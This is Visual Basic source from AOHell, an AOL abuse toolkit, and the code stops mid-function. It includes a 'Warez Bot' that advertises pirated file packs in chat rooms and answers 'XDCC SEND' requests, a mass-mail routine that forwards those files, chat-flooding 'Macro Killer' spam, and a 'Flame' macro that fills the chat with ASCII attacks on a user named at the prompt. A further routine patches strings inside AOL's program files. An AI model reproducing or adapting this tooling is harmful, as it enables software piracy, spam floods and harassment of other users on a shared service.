    If P1F = 1 Then Filt1 = " file )" Else Filt1 = " files )"
    If P2F = 1 Then Filt2 = " file )" Else Filt2 = " files )"
    If P3F = 1 Then Filt3 = " file )" Else Filt3 = " files )"
    If P4F = 1 Then Filt4 = " file )" Else Filt4 = " files )"
    If P5F = 1 Then Filt5 = " file )" Else Filt5 = " files )"

    lpstring = "Pack 1:  " + P1D + "  (" + Str(P1F) + Filt1

    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(.5)

    If pk2 = 1 Then
      lpstring = "Pack 2:  " + P2D + "  (" + Str(P2F) + Filt2
      x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
      DoEvents
      Call Pause(.3)
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.5)
    End If
    If pk3 = 1 Then
      lpstring = "Pack 3:  " + P3D + "  (" + Str(P3F) + Filt3
      x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
      DoEvents
      Call Pause(.3)
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(2)
    End If
    If pk4 = 1 Then
      lpstring = "Pack 4:  " + P4D + "  (" + Str(P4F) + Filt4
      x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
      DoEvents
      Call Pause(.3)
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.5)
    End If
    If pk5 = 1 Then
      lpstring = "Pack 5:  " + P5D + "  (" + Str(P5F) + Filt5
      x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
      DoEvents
      Call Pause(.3)
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.5)
    End If

    DoEvents
    Call Pause(.5)

    If PTime1 = 1 Then IsMin1 = " minute." Else IsMin1 = " minutes."
    lpstring = "Requested packs will be sent out every" + Str(PTime1) + IsMin1 + "  Next send time will be in" + Str(PTime) + IsMin
    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP

  End Sub

  Sub Command3D4_Click ()
    Ignored = InputBox$("Enter the person's Screen Name.  Any requests from this person will be ignored.", "Ignore Someone")

    Ignored = UCase$(Ignored)

    If IgnorePer1 = "XXX1" Then
      IgnorePer1 = Ignored
      Exit Sub
    End If
    If IgnorePer2 = "XXX2" Then
      IgnorePer2 = Ignored
      Exit Sub
    End If
    If IgnorePer3 = "XXX3" Then
      IgnorePer3 = Ignored
      Exit Sub
    End If
    If IgnorePer4 = "XXX4" Then
      IgnorePer4 = Ignored
      Exit Sub
    End If
    If IgnorePer5 = "XXX5" Then
      IgnorePer5 = Ignored
      Exit Sub
    End If
    If IgnorePer6 = "XXX6" Then
      IgnorePer6 = Ignored
      Exit Sub
    End If
    If IgnorePer7 = "XXX7" Then
      IgnorePer7 = Ignored
      Exit Sub
    End If
    If IgnorePer8 = "XXX8" Then
      IgnorePer8 = Ignored
      Exit Sub
    End If
    If IgnorePer9 = "XXX9" Then
      IgnorePer9 = Ignored
      Exit Sub
    End If
    If IgnorePer10 = "XXX10" Then
      IgnorePer10 = Ignored
      Exit Sub
    End If

  End Sub

  Sub Command3D5_Click ()
    PackStatus.Hide
    SmallPack.Show

  End Sub

  Sub Form_Load ()
    If AIStatus = 11 Then
      MsgBox "The Multi-Task Chat Room is still active.  You cannot use the Warez Bot with the Multi-Task Chat Room still running.  Please close the MT Chat Room and try again.", 16, "MT Chat Room Still Active"
      Unload Me
      Exit Sub
    End If
    If AIStatus = 1 Then
      MsgBox "The AI Bot is still active.  You cannot use the Warez Bot with the AI Bot still running.  Please bring up the AI Bot window and choose ""Unload AI Bot"", then try again.", 16, "AI Bot Still Active"
      Unload Me
      Exit Sub
    End If

    AIStatus = 12

    Dim Success As Integer

    Success% = SetWindowPos%(PackStatus.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
    GoTo AIBeg

AIErr:
    MsgBox "An error has occured while trying to start the bot.  Please close that Chat Room window, then re-enter the room you are in.  You may then try again.", 48, "Can't Get Window Lock"
    Unload Me
    Exit Sub

AIBeg:
    On Error GoTo AIErr

    ListS1 = ""
    ListS2 = ""
    ListS3 = ""
    ListS4 = ""
    ListS5 = ""

    IgnorePer1 = "XXX1"
    IgnorePer2 = "XXX2"
    IgnorePer3 = "XXX3"
    IgnorePer4 = "XXX4"
    IgnorePer5 = "XXX5"
    IgnorePer6 = "XXX6"
    IgnorePer7 = "XXX7"
    IgnorePer8 = "XXX8"
    IgnorePer9 = "XXX9"
    IgnorePer10 = "XXX10"

  'MsgBox "AOHell needs to get a lock on the chat room window now.  Please click the chat room with the mouse, so it is the top AOL window.  Then hit the OK button to this message.", 64, "Chat Window Lock"

    bac = Chr$(13)
    jojo4 = "List" + bac + "Rooms"
    thiswin% = FindWindow(0, "America  Online")
    RoomIcon = FindChildByTitle(thiswin%, jojo4)
    DaRoom = GetParent(RoomIcon)
    If DaRoom = 0 Then
      MsgBox "You must be in a room before you can use this!", 16, "Not In a Room"
      Unload Me
      Exit Sub
    End If

  ' DaRoom = thiswin%
    Label3.Caption = PTime
    PNotify = 5

  'thiswin% = FindWindow(0, "America  Online")

    find% = FindChildByClass(DaRoom, "_AOL_View")
    find1% = FindChildByClass(DaRoom, "_AOL_Edit")
    find2% = FindChildByTitle(DaRoom, "Send")

    AOLViewHandle = find%
    AOLSendHandle = find2%
    AOLEditHandle = find1%

    VBMsg2.SubClasshWnd = find1%
    VBMsg1.SubClasshWnd = find2%
    VBMsg5.SubClasshWnd = find%

  End Sub

  Sub Form_Unload (Cancel As Integer)
    VBMsg1.SubClasshWnd = 0
    VBMsg2.SubClasshWnd = 0
    VBMsg3.SubClasshWnd = 0
    VBMsg4.SubClasshWnd = 0
    If AIStatus = 12 Then AIStatus = 0

  End Sub

  Sub Timer2_Timer ()
    GoTo Beg1

Err1:
    Exit Sub

Beg1:
  'On Error GoTo Err1

    thiswin% = FindWindow(0, "America  Online")

    Destroy1 = FindChildByClass(thiswin%, "_AOL_Listbox")
    DoEvents

    If Destroy1 = 0 Then
      MsgBox "AOHell has detected that the AOL chat window has been closed.  ..Stopping Pack Offers", 64, "Room Closed"
      Destroyed = 0
      Unload PackStatus
      Exit Sub
    End If
    chat6 = ChatLine

    colon = ":"

    l% = InStr(1, chat6, colon)
    If l% > 0 Then

      l% = l% - 1
    Else l% = 1
    End If
    DoEvents

    SN = Mid$(chat6, 1, l%)
  ' text2.Text = SN
    ChatName = SN
    ChatNameSp = SN

    TempChat = ChatNameSp
    ChatLine = UCase$(ChatLine)
    Trig = "XDCC"
    DidTrigger = InStr(1, ChatLine, Trig)
    If DidTrigger = 0 Then Exit Sub
    DoEvents
    If DidTrigger > 0 And DidTrigger < 104 Then
      ScreenName1 = UCase$(ScreenName)

      If ChatLine = PLast Then Exit Sub
      DidOwnSay = InStr(1, TempChat, ScreenName)
      DidHostSay = InStr(1, TempChat, "OnlineHost")
      If DidOwnSay > 0 Or DidHostSay > 0 Then Exit Sub
    DoEvents

      ig1 = InStr(1, ChatLine, IgnorePer1)
      ig2 = InStr(1, ChatLine, IgnorePer2)
      ig3 = InStr(1, ChatLine, IgnorePer3)
      ig4 = InStr(1, ChatLine, IgnorePer4)
      ig5 = InStr(1, ChatLine, IgnorePer5)
      ig6 = InStr(1, ChatLine, IgnorePer6)
      ig7 = InStr(1, ChatLine, IgnorePer7)
      ig8 = InStr(1, ChatLine, IgnorePer8)
      ig9 = InStr(1, ChatLine, IgnorePer9)
      ig10 = InStr(1, ChatLine, IgnorePer10)
    DoEvents

      If ig1 > 0 Or ig2 > 0 Or ig3 > 0 Or ig4 > 0 Or ig5 > 0 Or ig6 > 0 Or ig7 > 0 Or ig8 > 0 Or ig9 > 0 Or ig10 > 0 Then Exit Sub

      DidName = InStr(1, ChatLine, ScreenName1)
      If DidName > 0 Then

        ListB1 = 0
        ListB2 = 0
        ListB3 = 0
        ListB4 = 0
        ListB5 = 0

        InLis1 = InStr(1, ListS1, TempChat)
        If InLis1 > 0 Then ListB1 = 1
        InLis2 = InStr(1, ListS2, TempChat)
        If InLis2 > 0 Then ListB2 = 1
        InLis3 = InStr(1, ListS3, TempChat)
        If InLis3 > 0 Then ListB3 = 1
        InLis4 = InStr(1, ListS4, TempChat)
        If InLis4 > 0 Then ListB4 = 1
        InLis5 = InStr(1, ListS5, TempChat)
        If InLis5 > 0 Then ListB5 = 1
    DoEvents

        DidLeech = ListB1 + ListB2 + ListB3 + ListB4 + ListB5
      '   MsgBox Str(DidLeech)
        If DidLeech >= LeechLimit Then Exit Sub

        WhichNum = Mid$(ChatLine, DidTrigger, 12)
        WhichNum2 = Mid$(WhichNum, 12)
        PackNum = WhichNum2
        PLast = ChatLine
      'MsgBox PackNum

        If PackNum = "1" Then
          List1.AddItem TempChat
          ListS1 = ListS1 + TempChat
        'MsgBox ListS1
        End If
        If PackNum = "2" Then
          List2.AddItem TempChat
          ListS2 = ListS2 + TempChat
        'MsgBox ListS2
        End If
        If PackNum = "3" Then
          List3.AddItem TempChat
          ListS3 = ListS3 + TempChat
        'MsgBox ListS3
        End If
        If PackNum = "4" Then
          List4.AddItem TempChat
          ListS4 = ListS4 + TempChat
        'MsgBox ListS4
        End If
        If PackNum = "5" Then
          List5.AddItem TempChat
          ListS5 = ListS5 + TempChat
        'MsgBox ListS5
        End If
        DoEvents

      End If
    End If

  End Sub

  Sub Timer3_Timer ()

    If PTime = 1 Then
      GoTo StartTim
    Else
      PTime = PTime - 1
      Label3.Caption = PTime
      SmallPack.Command3D1.Caption = "Pack Status -" + Str(PTime)
      Exit Sub

    End If

StartTim:

    Call Command3D1_Click

  End Sub

  Sub Timer4_Timer ()

    If PackNotify = 1 Then
      GoTo StartNot
    Else
      PackNotify = PackNotify - 1
      Exit Sub
    End If

StartNot:

    PackNotify = PackNotify1

    lint = 1000 '74
    lpstring = "-==AOHell==-      Offered Packs      -==AOHell==-   Leech Limit:" + Str(LeechLimit)
    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(.4)

    If PTime = 1 Then IsMin = " minute." Else IsMin = " minutes."   '91
    lpstring = "Type:  " + ScreenName + " XDCC SEND #N  to request pack.  Where N is the pack number."'  Requests sent in: " + PTime + IsMin

    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(1.5)
    If P1F = 1 Then Filt1 = " file )" Else Filt1 = " files )"
    If P2F = 1 Then Filt2 = " file )" Else Filt2 = " files )"
    If P3F = 1 Then Filt3 = " file )" Else Filt3 = " files )"
    If P4F = 1 Then Filt4 = " file )" Else Filt4 = " files )"
    If P5F = 1 Then Filt5 = " file )" Else Filt5 = " files )"

    lpstring = "Pack 1:  " + P1D + "  (" + Str(P1F) + Filt1

    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP
    DoEvents
    Call Pause(.5)

    If pk2 = 1 Then
      lpstring = "Pack 2:  " + P2D + "  (" + Str(P2F) + Filt2
      x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
      DoEvents
      Call Pause(.3)
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.5)
    End If
    If pk3 = 1 Then
      lpstring = "Pack 3:  " + P3D + "  (" + Str(P3F) + Filt3
      x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
      DoEvents
      Call Pause(.3)
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(2)
    End If
    If pk4 = 1 Then
      lpstring = "Pack 4:  " + P4D + "  (" + Str(P4F) + Filt4
      x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
      DoEvents
      Call Pause(.3)
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.5)
    End If
    If pk5 = 1 Then
      lpstring = "Pack 5:  " + P5D + "  (" + Str(P5F) + Filt5
      x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
      DoEvents
      Call Pause(.3)
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      Call Pause(.5)
    End If

    DoEvents
    Call Pause(.5)

    If PTime1 = 1 Then IsMin1 = " minute." Else IsMin1 = " minutes."
    lpstring = "Requested packs will be sent out every" + Str(PTime1) + IsMin1 + "  Next send time will be in" + Str(PTime) + IsMin
    x = SendMessageByString(AOLEditHandle, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.3)
    VBMsg1.SendMessage = WM_LBUTTONDOWN
    VBMsg1.SendMessage = WM_LBUTTONUP

  End Sub

  Sub VBMsg3_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    CursorChanged = 1

  End Sub

  Sub VBMsg5_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    ChatLine = ptGetStringFromAddress(lParam, 1000)
    ChatLine = Trim$(ChatLine)
    ChatLine = Mid$(ChatLine, 3)

  End Sub

Sub Command3D1_Click ()
GoTo star1

star2:
Packing1 = 0
PackStatus.Show
PTime = 5
Packing1 = 2
Unload Me
Exit Sub

star1:
If Packing1 = 1 Then GoTo star2

Response = MsgBox("Are you sure you want cancel the Mass Mail?", 292, "Cancel Mass Mail")
'Possible Response values: 6--YES, 7--NO.
If Response = 6 Then
    Unload Me
    ListStatus.Show
    TimeLimit = 5
End If

If Response = 7 Then Exit Sub

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(WNote.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command3D1_Click ()
PackStatus.Show
Unload Me

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(SmallPack.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command3D1_Click ()
MMComment = Text1.Text
Unload Me
WarezBot.Show

End Sub

Sub Command3D2_Click ()
Unload Me
WarezBot.Show

End Sub

Sub Form_Load ()
Text1.Text = "-==AOHell==- Free Mass Mail courtesy of " + ScreenName

End Sub

Function BRB (ByVal dook)
GoTo bebe9

titsluck9:
Exit Function

bebe9:

On Error GoTo titsluck9

 thiswin% = FindWindow(0, "America  Online")
 EditHand = FindChildByClass(thiswin%, "_AOL_Edit")
  lint = 200

AppActivate "America  Online"

DoEvents
   lpstring = ". "
   SendFing = SendMessage(EditHand, WM_SETFOCUS, 0, 0)
   DoEvents
   Call Pause(1)

SendKeys ".                {(}  {}}{ENTER}"
SendKeys ".       ===    /\\              Got to take a shit...brb{ENTER}"
SendKeys ".       |    |  /  /\\{ENTER}"
DoEvents
Call Pause(1.5)
DoEvents
SendKeys ".       |__|   L_==n{ENTER}"
SendKeys ".         L|{)}   ||{ENTER}"
SendKeys ".            {)}{(}     |L{ENTER}"
DoEvents

End Function

Function DupeKiller (ByVal dook)
MsgBox "Open your New Mail and wait for hourglass to go away.  Then hit the OK button to this message."
GoTo bob

nect:
Resume nect1

bob:

      thiswin% = FindWindow(0, "America  Online")
      ListHand = FindChildByClass(thiswin%, "_AOL_Tree")
       If ListHand = 0 Then
       MsgBox "You must have your mailbox open.  Bring up your New Mail and try again."
       Exit Function
       End If
DupeKill.Show
DoEvents

  Dim dom As String
   V = 0

  T = SendMessage(ListHand, LB_GETCOUNT, 0, 0)

Cur = 0
      ret = Chr$(13) + Chr$(10)
         AppActivate "America  Online"
         DoEvents

For Y = 1 To T
 'SetCur = SendMessage(ListHand, LB_SETCURSEL, Cur, 0)
z = SendMessage(ListHand, LB_GETTEXTLEN, Cur, 0)
lpstring = Space(z)
X = SendMessageByString(ListHand, LB_GETTEXT, Cur, lpstring) ',lint
lpstring = Trim$(lpstring)
Dom1 = InStr(lpstring, "Fwd")
   If Dom1 = 0 Then GoTo nect1

dom = Mid$(lpstring, Dom1)

  h = T - Y
  V = Y
 For B = 1 To h
  z = SendMessage(ListHand, LB_GETTEXTLEN, V, 0)
On Error GoTo nect

lpstring = Space(z)
X = SendMessageByString(ListHand, LB_GETTEXT, V, lpstring) ',lint
  lpstring = Trim$(lpstring)
     Dom2 = InStr(lpstring, "Fwd")
      If Dom2 = 0 Then GoTo nect3
      lpstring1 = Mid$(lpstring, Dom2)
                     d1 = V
  If lpstring1 = dom Then
     DupeKill.Label2.Caption = "Found duplicate ware at #" + d1 + ".  Deleting..."
     DupeKill.Label2.Refresh
     NewMail = FindChildByTitle(thiswin%, "New Mail")
     DeleteButton = FindChildByTitle(thiswin%, "Delete")
     SetCur = SendMessage(ListHand, LB_SETCURSEL, V, 0)
     DoEvents
     DupeKill.VBMsg1.SubClasshWnd = DeleteButton
     DupeKill.VBMsg1.SendMessage = WM_LBUTTONDOWN
     DupeKill.VBMsg1.SendMessage = WM_LBUTTONUP
     DoEvents
    End If

nect3:

    V = V + 1
   Next B

nect1:
Cur = Y
DupeKill.Percent1.Percent = Y / T * 100
DupeKill.Percent1.Refresh

Next Y
 Unload DupeKill

End Function

Function Flame (ByVal dook)
GoTo bebe8

titsluck8:
Exit Function

bebe8:
     Flamer = InputBox$("Enter person to flame.", "Flame Who?")

On Error GoTo titsluck8

 thiswin% = FindWindow(0, "America  Online")
 EditHand = FindChildByClass(thiswin%, "_AOL_Edit")
  lint = 200

AppActivate "America  Online"

DoEvents
   lpstring = ". "
   SendFing = SendMessage(EditHand, WM_SETFOCUS, 0, 0)
   DoEvents
   Call Pause(1)

SendKeys ". {ENTER}"
SendKeys ".                                   ;      {ENTER}"
SendKeys ".    .--. /                       ;';    {ENTER}"
DoEvents
Call Pause(1.5)
DoEvents
SendKeys ".  _,|_{(}|                        ;''';    {ENTER}"
SendKeys ". | | {(}\__ ____                 ;''';     {ENTER}"
SendKeys ". | |  \--|_.-'""""""xxxx      ;''''';         O  <---" + Flamer + "{ENTER}"
DoEvents
Call Pause(1.5)
DoEvents
SendKeys ". `-'\ /                xxxxxx;;''''';;  \_|_/ {ENTER}"
SendKeys ".    | |                   xx;;''''''';;        | {ENTER}"
SendKeys ".    | |_                     ;;;;;;;;;     / \{ENTER}"
DoEvents
Call Pause(1.5)
DoEvents
SendKeys ".    `--'  {ENTER}"

End Function

Function KTEncrypt (ByVal password, ByVal strng, force%)

  'Set error capture routine
  On Local Error GoTo ErrorHandler

  'Is there Password??
  If Len(password) = 0 Then Error 31100

  'Is password too long
  If Len(password) > 255 Then Error 31100

  'Is there a strng$ to work with?
  If Len(strng) = 0 Then Error 31100

  'Check if file is encrypted and not forcing
  If force% = 0 Then

    'Check for encryption ID tag
    chk$ = Left$(strng, 4) + Right$(strng, 4)

    If chk$ = Chr$(1) + "KT" + Chr$(1) + Chr$(1) + "KT" + Chr$(1) Then

      'Remove ID tag
      strng = Mid$(strng, 5, Len(strng) - 8)

      'String was encrypted so filter out CHR$(1) flags
      look = 1
      Do
        look = InStr(look, strng, Chr$(1))
        If look = 0 Then
          Exit Do
        Else
          Addin$ = Chr$(Asc(Mid$(strng, look + 1)) - 1)
          strng = Left$(strng, look - 1) + Addin$ + Mid$(strng, look + 2)
        End If
        look = look + 1
      Loop

      'Since it is encrypted we want to decrypt it
      EncryptFlag% = False

    Else
      'Tag not found so flag to encrypt string
      EncryptFlag% = True
    End If
  Else
    'force% flag set, ecrypt string regardless of tag
    EncryptFlag% = True
  End If

  'Set up variables
  PassUp = 1
  PassMax = Len(password)

  'Tack on leading characters to prevent repetative recognition
  password = Chr$(Asc(Left$(password, 1)) Xor PassMax) + password
  password = Chr$(Asc(Mid$(password, 1, 1)) Xor Asc(Mid$(password, 2, 1))) + password
  password = password + Chr$(Asc(Right$(password, 1)) Xor PassMax)
  password = password + Chr$(Asc(Right$(password, 2)) Xor Asc(Right$(password, 1)))

  'If Encrypting add password check tag now so it is encrypted with string
  If EncryptFlag% = True Then
    strng = Left$(password, 3) + Format$(Asc(Right$(password, 1)), "000") + Format$(Len(password), "000") + strng
  End If

  'Loop until scanned though the whole string
  For Looper = 1 To Len(strng)

    'Alter character code
    ToChange = Asc(Mid$(strng, Looper, 1)) Xor Asc(Mid$(password, PassUp, 1))

    'Insert altered character code
    Mid$(strng, Looper, 1) = Chr$(ToChange)

    'Scroll through password string one character at a time
    PassUp = PassUp + 1
    If PassUp > PassMax + 4 Then PassUp = 1

  Next Looper

  'If encrypting we need to filter out all bad character codes (0, 10, 13, 26)
  If EncryptFlag% = True Then
    'First get rid of all CHR$(1) since that is what we use for our flag
    look = 1
    Do
      look = InStr(look, strng, Chr$(1))
      If look > 0 Then
        strng = Left$(strng, look - 1) + Chr$(1) + Chr$(2) + Mid$(strng, look + 1)
        look = look + 1
      End If
    Loop While look > 0

    'Check for CHR$(0)
    Do
      look = InStr(strng, Chr$(0))
      If look > 0 Then strng = Left$(strng, look - 1) + Chr$(1) + Chr$(1) + Mid$(strng, look + 1)
    Loop While look > 0

    'Check for CHR$(10)
    Do
      look = InStr(strng, Chr$(10))
      If look > 0 Then strng = Left$(strng, look - 1) + Chr$(1) + Chr$(11) + Mid$(strng, look + 1)
    Loop While look > 0

    'Check for CHR$(13)
    Do
      look = InStr(strng, Chr$(13))
      If look > 0 Then strng = Left$(strng, look - 1) + Chr$(1) + Chr$(14) + Mid$(strng, look + 1)
    Loop While look > 0

    'Check for CHR$(26)
    Do
      look = InStr(strng, Chr$(26))
      If look > 0 Then strng = Left$(strng, look - 1) + Chr$(1) + Chr$(27) + Mid$(strng, look + 1)
    Loop While look > 0

    'Tack on encryted tag
    strng = Chr$(1) + "KT" + Chr$(1) + strng + Chr$(1) + "KT" + Chr$(1)

  Else

    'We decrypted so ensure password used was the correct one
    If Left$(strng, 9) <> Left$(password, 3) + Format$(Asc(Right$(password, 1)), "000") + Format$(Len(password), "000") Then
      'Password bad cause error
      Error 31100
    Else
      'Password good, remove password check tag
      strng = Mid$(strng, 10)
    End If

  End If

  'Set function equal to modified string
  KTEncrypt = strng

  'Were out of here
  Exit Function

ErrorHandler:

  'We had an error!  Were out of here
  Exit Function

End Function

Function MacKill (ByVal dook)
GoTo bebe19

titsluck19:
Exit Function

bebe19:

On Error GoTo titsluck19

 thiswin% = FindWindow(0, "America  Online")
 EditHand = FindChildByClass(thiswin%, "_AOL_Edit")
  lint = 200

AppActivate "America  Online"

DoEvents
   lpstring = ". "
   SendFing = SendMessage(EditHand, WM_SETFOCUS, 0, 0)
   DoEvents
   'Call Pause(1)
   lpstring = "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
    d = SendMessageByString(EditHand, WM_SETTEXT, lint, lpstring)
    DoEvents
    DoEvents

  '  Call Pause(1)
    'SendKeys "{ENTER}"
   lpstring = "@@@@@@@@@@@@@@@@@@@@AOHell Macro Killer@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
    d = SendMessageByString(EditHand, WM_SETTEXT, lint, lpstring)
    DoEvents
    DoEvents
    Call Pause(.2)
    SendKeys "{ENTER}"
    DoEvents
    Call Pause(1)
    lpstring = "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
    d = SendMessageByString(EditHand, WM_SETTEXT, lint, lpstring)
    DoEvents
    Call Pause(.2)
    SendKeys "{ENTER}"

End Function

Function MiddleMac (ByVal dook)
If SignStatus = 0 Then

MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Function
End If

GoTo bebe5

titsluck6:
Exit Function

bebe5:

On Error GoTo titsluck6

 thiswin% = FindWindow(0, "America  Online")
 EditHand = FindChildByClass(thiswin%, "_AOL_Edit")
  lint = 200

AppActivate "America  Online"

DoEvents
   lpstring = ". "
   SendFing = SendMessage(EditHand, WM_SETFOCUS, 0, 0)
   DoEvents
   Call Pause(1.1)
SendKeys ". {ENTER}"
SendKeys ". {ENTER}"
SendKeys ".                               ___{ENTER}"
DoEvents
Call Pause(1.5)
DoEvents
SendKeys ".                              /      \{ENTER}"
SendKeys ".                              | ----- |{ENTER}"
SendKeys ".                              |       |{ENTER}"
DoEvents
Call Pause(1.5)
DoEvents
SendKeys ".                              |       |{ENTER}"
SendKeys ".                              |       |{ENTER}"
SendKeys ".                      ___   |       |  __{ENTER}"
DoEvents
Call Pause(1.5)
DoEvents
SendKeys ".                     /      \ |       | /     \   ___{ENTER}"
SendKeys ".       ___        |         |       |         |       \{ENTER}"
SendKeys ".       \-----   \   |         |       |         |        |{ENTER}"
DoEvents
Call Pause(1.5)
DoEvents
SendKeys ".        \-----   \  | {(}   {)}     {(}   {)}    {(}   {)}  |        |{ENTER}"
SendKeys ".         \        \ |                                    |{ENTER}"
SendKeys ".          \                                              |{ENTER}"
DoEvents
Call Pause(1.5)
SendKeys ".           \                                            /{ENTER}"

ending2:

End Function

  Sub ChangeFile (FName$, IdString$, NString$)
    GoTo hangman6

    CFileErr:
    MsgBox "An error has occured, cannot continue. /*CF error - Most likely incorrect AOL directory specified*/"
    Close
    Exit Sub

    hangman6:
    On Error GoTo CFileErr

    Dim PosString As Long, WhereString As Long
    Dim FileNumber As Long, A$, NewString$
    Dim AString As String * ChunkSize

    FileNumber = FreeFile
    PosString = 1
    WhereString = 0
    AString = Space$(ChunkSize)

    If Len(IdString$) > Len(NString$) Then
      NewString$ = NString$ + Space$(Len(IdString$) - Len(NString$))
    Else
      NewString$ = Left$(NString$, Len(IdString$))
    End If

    Open FName$ For Binary As FileNumber
    If LOF(FileNumber) < ChunkSize Then
      A$ = Space$(LOF(FileNumber))
      Get #FileNumber, 1, A$
      WhereString = InStr(1, AString, IdString$)

    Else
      Get #FileNumber, 1, AString
      WhereString = InStr(1, AString, IdString$)

    End If

    If WhereString <> 0 Then
      Put #FileNumber, WhereString, NewString$
    End If
    PosString = ChunkSize + PosString - Len(IdString$)

    Do Until EOF(FileNumber) Or PosString > LOF(FileNumber)
      If PosString + ChunkSize > LOF(FileNumber) Then
        A$ = Space$(LOF(FileNumber) - PosString)
        Get #FileNumber, PosString, A$
        WhereString = InStr(1, AString, IdString$)
      Else
        Get #FileNumber, PosString, AString
        WhereString = InStr(1, AString, IdString$)
      End If
      If WhereString <> 0 Then
        Put #FileNumber, PosString + WhereString - 1, NewString$
      End If
      PosString = ChunkSize + PosString - Len(IdString$)

    Loop
    Close

  End Sub

Sub Pause (ByVal nSecond As Single)
   Dim t0 As Single
   t0 = Timer
   Do While Timer - t0 < nSecond
      Dim dummy As Integer
      dummy = DoEvents()
      ' if we cross midnight, back up one day
      If Timer < t0 Then
         t0 = t0 - 24 * 60 * 60
      End If
   Loop
End Sub

Sub MassMail (SendTo, DaNum)

AppActivate "America  Online"

       thiswin% = FindWindow(0, "America  Online")
         Cursr = FindChildByClass(thiswin%, "MDIClient")

          PackStatus.VBMsg3.SubClasshWnd = Cursr

For X = 1 To DaNum

   ' ForwardHand = VBEnumChildWindows(MDIClient1, 1)
       MDIClient1 = FindChildByClass(thiswin%, "MDIClient")

DownloadMan = FindChildByTitle(thiswin%, "Download Manager")
   DLView = VBEnumChildWindows(DownloadMan, 6)

   ' TheTree = FindChildByClass(thiswin%, "_AOL_Tree")

 PackStatus.VBMsg2.SubClasshWnd = DLView
 PackStatus.VBMsg2.SendMessage = WM_LBUTTONDOWN
 PackStatus.VBMsg2.SendMessage = WM_LBUTTONUP

  DoEvents
  Call Pause(6)
 ' SendKeys "{ESC}"
  DoEvents
         lars = 0
          ForwardHand = VBEnumChildWindows(MDIClient1, 1)
     '    ForwardHand = FindChildByTitle(thiswin%, "Fwd:")
       While ForwardHand = 0
         lars = lars + 1
          If lars = 25 Then GoTo jimbob
         DoEvents
         Call Pause(.5)
         ForwardHand = FindChildByTitle(thiswin%, "Fwd:")
        DoEvents
        Wend

       ' ForwardHand = VBEnumChildWindows(MDIClient1, 1)
       ' ForwardHand = FindChildByTitle(thiswin%, "Fwd:")
        ForwardButton = VBEnumChildWindows(ForwardHand, 4)
     DoEvents
  '    Exit Sub

     PackStatus.VBMsg4.SubClasshWnd = ForwardButton
     PackStatus.VBMsg4.SendMessage = WM_LBUTTONDOWN
     PackStatus.VBMsg4.SendMessage = WM_LBUTTONUP
     DoEvents
     Call Pause(.2)
     DoEvents

    ' MailHand = VBEnumChildWindows(MDIClient1, 1)'FindChildByTitle(thiswin%, "Fwd:")
